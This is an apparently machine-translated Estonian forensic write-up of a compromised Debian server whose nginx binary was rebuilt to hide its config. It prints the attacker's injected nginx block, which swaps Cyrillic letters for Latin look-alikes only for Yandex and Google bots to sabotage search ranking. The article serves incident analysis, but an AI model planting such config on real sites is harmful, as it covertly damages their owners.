Ăks mu tuttav sattus kĂ”ige ebameeldivamasse olukorda. Kuid nii ebameeldiv see Michaelile kui ka huvitav mulle.
Pean ĂŒtlema, et mu sĂ”ber on tĂ€iesti UNIX-kasutaja: vĂ”ib ise sĂŒsteemi paigaldada, seadistada mysql, php ja teha lihtsaid seadeid. nginx.
Tal on umbes kĂŒmme kuni kaksteist saiti, mis kĂ€sitlevad ehitusriistu.
Ăks selline sait, mis on pĂŒhendatud mootorsaagidele, istub kindlalt otsingumootorite TOP-is. See sait on mittekommertslik ĂŒlevaade, kuid kellelegi see ei meeldi ja nad on hakanud seda rĂŒndama. Siis DDoS, siis bruteforce, siis kirjutavad nad sobimatuid kommentaare ja saadavad kaebusi hostimisele ja RKN-ile.
Ootamatult kÔik vaibus ja see vaikus osutus halvaks, ja sait hakkas jÀrk-jÀrgult lahkuma tipptulemuste hulgast.

See oli sissejuhatus, edasi tuleb adminni jutt.
Aeg oli uinumise lÀhedal, kui telefon helises: "San, kas sa ei saaks minu serverit vaadata? Mul on tunne, et mind on hÀkitud, tÔestada ei saa, kuid tunne ei lahku juba kolmandat nÀdalat. VÔib-olla peaks lihtsalt paranema hakkama?"
JĂ€rgnes poolteise tunni arutelu, mille lĂŒhidalt vĂ”ib kokku vĂ”tta nii:
- rĂŒndamiseks oli pinnas kĂŒllalt viljakas;
- rĂŒndaja vĂ”is saada superkasutaja Ă”igused;
- rĂŒnnak (kui see tĂ”esti toimus) oli suunatud just sellele saidile;
- probleemsed kohad on parandatud ja tuleb ainult aru saada, kas tungimine oli kĂŒllaltki tĂ”eline;
- rikkumine ei saanud puudutada saidi koodi ja andmebaase.
Viimase punkti osas.

Maailmast vaatab vÀlja ainult valge IP front-end. Back-endide ja front-endide vahel ei ole mingit vahetust peale http(s), kasutajad/paroolid on erinevad, vÔtmeid ei vahetatud. Hallidel aadressidel on kÔik pordid, vÀlja arvatud 80/443, suletud. Beibendide valged IP-d on teada ainult kahe kasutaja jaoks, kellele Michael tÀielikult usaldab.
Front-endil on paigaldatud Debian 9 ja telefonikĂ”ne ajal on sĂŒsteem vĂ€lise firewallega maailmast isoleeritud ja peatatud.
"Ok, anna ligipÀÀsud, - otsustan une tunni vĂ”rra edasi lĂŒkata. - Vaatan oma silmaga."
Siin ja edaspidi:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
VĂ”imaliku rĂŒnnaku otsingul
KĂ€itan serverit, alguses rescue-mode. Montaazhan kettad, sirvin auth-logis, konsolis, saate nimekirja kĂ€skudest, mis on varem teie kontoga tĂ€idetud., sĂŒsteemilogid jne, proovin vĂ”imalusel kontrollida failide loomise kuupĂ€evi, kuigi ma mĂ”istan, et normaalne hĂ€kker oleks "puhastanud" oma jĂ€ljed ning Misha on juba korralikult "jalajĂ€lgi jĂ€tnud", samal ajal kui ta ise otsis.
Alustan normaalses reĆŸiimis, arvestades, et ma ei tea, mida otsida, uurin seadistusi. Esiteks huvitab mind nginx kuna frontend'is pole seal peale tema midagi muud.
Seadistused on vĂ€ikesed, hĂ€sti struktureeritud kĂŒmnes failis, vaatan neid lihtsalt catâĂŒhe kaupa. Tundub, et kĂ”ik on puhas, kuid ega ma ei tea, kas ma olen midagi include, teen tĂ€ieliku loendi:
$ nginx -T
nginx: konfiguratsioonifaili /usr/local/etc/nginx/nginx.conf sĂŒntaks on korras
nginx: konfiguratsioonifaili /usr/local/etc/nginx/nginx.conf test on edukas
Ei saanud aru: "Kus on loend?"
$ nginx -V
nginx versioon: nginx/1.10.3
TLS SNI tugi on sisse lĂŒlitatud
seadmise argumentide kogum: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Loendiga seondub teine kĂŒsimus: "Miks on nii vana nginx versioon?"
Pealegi arvab sĂŒsteem, et versioon on uuem:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all vÀike, vÔimas, skaleeritav veebi/proksi server
Helistan:
â Misha, miks sa selle uuesti ehitasid nginx?
â Rahune maha, ma ei tea isegi, kuidas seda teha!
â Ok, no magaâŠ
Nginx kindlasti on see uuesti ehitatud ja "-T" vÀljundi varjamine ei ole juhuslik. Kahtlust pole juba krakendatud ja selle vÔib lihtsalt aktsepteerida ning (kuna Misha asendas serveri nagunii uuega) vÔib probleemi lahendatuks lugeda.
Ja tÔesti, kuna keegi on saanud Ôigused root'le, siis on mÔistlik teha ainult system reinstall, ja otsida, mida seal on valesti tehtud, oleks kasutu, aga seekord vÔitis uudishimu une. Kuidas teada saada, mida meilt peidetud on?
Proovime jÀlgida:
$ strace nginx -T
Vaadates, puuduvad jÀlgimises ilmselgelt read nagu
write(1, "/etc/nginx/nginx.conf", 21/etcf/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Huvi pÀrast vÔrreldes vÀljundeid
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
MÔtlen, et osa koodist /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
oli viidatud kujule:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
\/\/ngx_dump_config = 1;
break;
vÔi
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
seega loetelu "-T" ei kuvata.
Aga kuidas vaadata meie konfi?
Kui mu mĂ”te on Ă”ige ja probleem on ainult muutujas ngx_dump_config proovime seda seadistada gdb, Ă”nneks on valik --with-cc-opt -g olemas ja loodame, et optimeerimine -O2 ei tee meile paha. Samas, kuna ma ei tea, kuidas ngx_dump_config seda vĂ”iks töödelda case âTâ:, ei kutsu me seda plokki, vaid seadistame selle kasutades case âtâ:
Miks on vĂ”imalik kasutada â-tâ koos â-TâPloki töötlemine if(ngx_dump_config) toimub sees if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "konfiguratsioonifail %s test on edukas",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# konfiguratsioonifail ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Loomulikult, kui kood on muudetud selle osa peale, mitte case âTâ:, siis ei sobi minu meetod.
Test ngnix.confProbleemi lahendamisel leiti, et pahavara tööks on vajalik minimaalne konfi nginx kuju:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Seda me lĂŒhidalt artiklis kasutame.
KĂ€ivitame siluri
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Sammud:
- seame jÀlgimise punkt funktsioonis main()
- kÀivitame programmi
- muudame muutuja vÀÀrtust, mis mÀÀrab konfiguratsiooni vÀljundi ngx_dump_config=1
- jÀtkame/lÔpetame programmi
Nagu nÀeme, erineb tegelik konfigureerimine meie omast, eraldame sellest parasiitliku osa:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Vaatame jÀrjestikku, mis siis toimub.
MÀÀratletakse User-Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
vÀlja arvatakse teeninduslehed wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Ja nende jaoks, kes langevad kokku mĂ”lema ĂŒlaltoodud tingimusega
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
tekstis html-leht muudetakse ĐŸ . Tundub, et o ja а . Tundub, et a:
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
TĂ”epoolest, peenemus seisneb vaid selles, et âаâ != âaâ samuti nagu âĐŸâ != âoâ:

Nii saavad otsingumootorite robotid normaalse 100%-lise kirillitsateksti asemel muudetud rÀmpsu, mille hulka on segatud ladina tÀhed. a ja o. Ma ei taha Ôigustada, kuidas see SEO-le mÔjub, kuid selline tÀhepruuk ei too tÔenÀoliselt positiivset mÔju positsioonidele otsingutulemustes.
Mida öelda, poisid, kellel on kujutlusvÔimet.
Viidatud lingid
Allikas: habr.com
